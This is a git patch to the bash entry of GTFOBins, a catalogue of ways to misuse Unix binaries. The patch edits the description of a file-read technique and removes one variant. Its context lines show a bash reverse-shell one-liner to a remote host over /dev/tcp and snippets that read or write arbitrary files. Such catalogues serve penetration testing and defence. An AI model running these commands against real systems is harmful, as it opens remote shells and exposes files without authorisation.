From 3b59c85656752026e868b8d9771c95bc8540d221 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 11 Jun 2018 13:11:47 +0200 Subject: [PATCH] Fix bash file read --- _gtfobins/bash.md | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/_gtfobins/bash.md b/_gtfobins/bash.md index be7b655..8e842ac 100644 --- a/_gtfobins/bash.md +++ b/_gtfobins/bash.md @@ -41,14 +41,10 @@ functions: export RPORT=12345 bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1' file-read: - - description: It trims trailing newlines. + - description: It trims trailing newlines and it's not binary-safe. code: | export LFILE=file_to_read bash -c 'echo "$(<$LFILE)"' - - description: It trims trailing newlines. - code: | - export LFILE=file_to_read - bash -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"' file-write: - code: | export LFILE=file_to_write